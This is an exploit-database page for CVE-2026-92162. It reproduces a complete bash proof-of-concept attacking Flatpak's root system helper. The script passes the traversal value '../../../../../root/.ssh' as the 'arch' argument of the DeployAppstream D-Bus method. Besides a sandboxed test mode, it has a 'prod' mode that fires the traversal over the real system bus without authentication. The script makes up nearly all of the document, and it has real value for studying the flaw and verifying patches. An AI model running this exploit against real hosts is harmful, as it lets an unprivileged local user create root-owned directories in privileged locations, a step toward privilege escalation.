Exploit database

GH-12817ca2fda2a2b491ee5a04516e8fe1

0xsemizzz/cve-2026-92162

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-92162

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
0xsemizzz/cve-2026-92162Revision 9be17026d222

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc_arch_traversal.sh

Shell · 7,179 bytes
#!/bin/bash
# PoC: unvalidated "arch" parameter in DeployAppstream (CVE-2026-XXXX).
#
# The DeployAppstream method accepts an "arch" string that reaches
# g_mkdir_with_parents unvalidated, letting a caller create directories
# outside the appstream tree. The payload "../../../../../root/.ssh" makes the
# root privileged helper create /root/.ssh. The directory creation happens
# before the helper contacts the registry, so any OCI remote works, even a
# fake or unreachable one, and the escape succeeds even though the registry
# fetch then fails.
#
# Modes:
#
#   bash poc_arch_traversal.sh          sandboxed test mode, /tmp only
#       private D-Bus session bus, helper in --session mode, no root, no
#       polkit. The sysdir is nested so the payload lands at
#       <workdir>/root/.ssh, mirroring /root/.ssh on a real host.
#
#   bash poc_arch_traversal.sh prod     production mode, system bus
#       auto-detects an existing OCI remote and uses it as the origin.
#       Cancels with "No OCI remote found" if none exists. No sudo anywhere.
#       The trigger is unauthenticated for an active local session (polkit
#       action org.freedesktop.Flatpak.appstream-update is allow_active=yes).
#
#   bash poc_arch_traversal.sh prod NAME   use the named remote instead of
#                                          auto-detecting
#
# EDUCATION AND AUTHORIZED TESTING ONLY.
# Published after coordinated disclosure and a fixed Flatpak release. Run this
# only against systems you own or have explicit written permission to test.
#
# Author: Yehia Ali Mohamed Ezzat (GitHub: 0xSemizzz)
# Site:   https://0xsemizzz.vercel.app/
set -eu

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"

HELPER="${FLATPAK_SYSTEM_HELPER:-}"
if [ -z "$HELPER" ]; then
    for cand in \
        "$SCRIPT_DIR/../../../../builddir/system-helper/flatpak-system-helper" \
        "$SCRIPT_DIR/../../../../_build/system-helper/flatpak-system-helper" \
        /usr/libexec/flatpak-system-helper; do
        [ -x "$cand" ] && { HELPER="$cand"; break; }
    done
fi
[ -x "$HELPER" ] || { echo "FATAL: no flatpak-system-helper found (set FLATPAK_SYSTEM_HELPER)"; exit 2; }

BUS="org.freedesktop.Flatpak.SystemHelper"
OBJ="/org/freedesktop/Flatpak/SystemHelper"
REMOTE="ocipoc"
TRAVERSAL="../../../../../root/.ssh"

cleanup() {
    [ -n "${HPID:-}" ] && kill "$HPID" 2>/dev/null
    [ -n "${DBUS_PID:-}" ] && kill "$DBUS_PID" 2>/dev/null
    if [ -n "${ESCAPED:-}" ]; then
        echo ""
        echo "[*] Cleaned up. Escape left at: $ESCAPED"
    fi
}
trap cleanup EXIT

run_test_mode() {
    WORK=$(mktemp -d /tmp/arch-poc.XXXXXX)
    SYSDIR="$WORK/a/b/c"
    ESCAPED="$WORK/root/.ssh"

    echo "[*] Starting private D-Bus session"
    cat > "$WORK/bus.conf" <<'DBUSEOF'
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
 "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
  <type>session</type><keep_umask/>
  <listen>unix:tmpdir=/tmp</listen>
  <policy context="default">
    <allow send_destination="*" eavesdrop="true"/>
    <allow eavesdrop="true"/><allow own="*"/>
  </policy>
</busconfig>
DBUSEOF
    DBUS_SESSION_BUS_ADDRESS="$(dbus-daemon --config-file="$WORK/bus.conf" --fork --print-address --print-pid=1)"
    DBUS_PID="$(echo "$DBUS_SESSION_BUS_ADDRESS" | sed -n '2p')"
    DBUS_SESSION_BUS_ADDRESS="$(echo "$DBUS_SESSION_BUS_ADDRESS" | sed -n '1p')"
    export DBUS_SESSION_BUS_ADDRESS

    echo "[*] Starting helper: $HELPER (--session)"
    export FLATPAK_SYSTEM_DIR="$SYSDIR"
    mkdir -p "$SYSDIR"
    ostree init --repo="$SYSDIR/repo" --mode=bare-user >/dev/null 2>&1
    mkdir -p "$SYSDIR/appstream"
    "$HELPER" --session --no-idle-exit 2>"$WORK/helper.log" &
    HPID=$!
    for i in $(seq 1 60); do
        gdbus call --session --dest "$BUS" --object-path "$OBJ" \
            --method org.freedesktop.DBus.Peer.Ping >/dev/null 2>&1 && break
        kill -0 "$HPID" 2>/dev/null || { echo "FATAL: helper died"; cat "$WORK/helper.log"; exit 1; }
        sleep 0.1
    done

    echo "[*] Configuring OCI remote: $REMOTE"
    python3 - "$BUS" "$OBJ" "$REMOTE" <<'PYCONF'
import sys
from gi.repository import Gio, GLib
bus_name, obj_path, remote = sys.argv[1:4]
cfg = ('[remote "%s"]\nurl=oci+http://127.0.0.1:19876\n'
       'gpg-verify=false\ngpg-verify-summary=false\nxa.title=Poc\n' % remote)
bus = Gio.bus_get_sync(Gio.BusType.SESSION, None)
proxy = Gio.DBusProxy.new_sync(bus, Gio.DBusProxyFlags.NONE, None,
    bus_name, obj_path, bus_name, None)
proxy.call_sync('ConfigureRemote',
    GLib.Variant('(ussays)', (0, remote, cfg, [], '')),
    Gio.DBusCallFlags.NONE, 10000, None)
PYCONF

    echo "[*] DeployAppstream(origin=$REMOTE, arch=$TRAVERSAL)"
    python3 - "$BUS" "$OBJ" "$REMOTE" "$TRAVERSAL" <<'PYTRIG'
import sys
from gi.repository import Gio, GLib
bus_name, obj_path, origin, arch = sys.argv[1:5]
bus = Gio.bus_get_sync(Gio.BusType.SESSION, None)
proxy = Gio.DBusProxy.new_sync(bus, Gio.DBusProxyFlags.NONE, None,
    bus_name, obj_path, bus_name, None)
args = GLib.Variant('(ayusss)', ([], 0, origin, arch, ''))
try:
    proxy.call_sync('DeployAppstream', args, Gio.DBusCallFlags.NONE, 30000, None)
    print("    D-Bus: SUCCESS")
except GLib.Error as e:
    print("    D-Bus: ERROR -", e.message[:200])
PYTRIG

    if [ -d "$ESCAPED" ]; then
        echo "[+] Escape: $ESCAPED"
        echo "[+] Owner: $(stat -c '%U:%G' "$ESCAPED")"
    else
        echo "[-] No escape at $ESCAPED"
        find "$WORK" -type d -name ".ssh" 2>/dev/null | head -5
    fi
    echo "[*] Work dir: $WORK"
}

run_prod_mode() {
    OCI_REMOTE="${2:-}"
    if [ -z "$OCI_REMOTE" ]; then
        OCI_REMOTE="$(flatpak remotes --system --columns=name,options 2>/dev/null \
            | awk -F'\t' '$2 ~ /oci/ {print $1; exit}')"
    fi

    if [ -z "$OCI_REMOTE" ]; then
        echo "[-] No OCI remote found"
        echo "[-] Add one first, for example:"
        echo "      sudo flatpak remote-add --system --no-gpg-verify oci-poc oci+http://127.0.0.1:19876"
        exit 3
    fi
    echo "[+] OCI remote: $OCI_REMOTE"

    echo "[*] DeployAppstream(origin=$OCI_REMOTE, arch=$TRAVERSAL)"
    set +e
    OUT="$(gdbus call --system --dest "$BUS" --object-path "$OBJ" \
        --method org.freedesktop.Flatpak.SystemHelper.DeployAppstream \
        "[]" 0 "$OCI_REMOTE" "$TRAVERSAL" "" 2>&1)"
    set -e
    case "$OUT" in
        *"not authorized"*|*"Not authorized"*|*"polkit"*|*"authentication"*|*"Authentication"*)
            echo "[-] Authentication required (run from an active local session)"
            ;;
        *)
            echo "[-] Response: $OUT"
            ;;
    esac
    echo "[*] Verify: sudo ls -laR /root/.ssh"
}

case "${1:-test}" in
    test) run_test_mode ;;
    prod) run_prod_mode "${2:-}" ;;
    *)
        echo "Usage: $0 {test|prod [remote]}"
        echo "  test         sandboxed demonstration (default), no root, /tmp only"
        echo "  prod         system bus, auto-detects an OCI remote and triggers"
        echo "               the traversal. Cancels if no OCI remote exists."
        echo "  prod NAME    use the named remote instead of auto-detecting"
        exit 2
        ;;
esac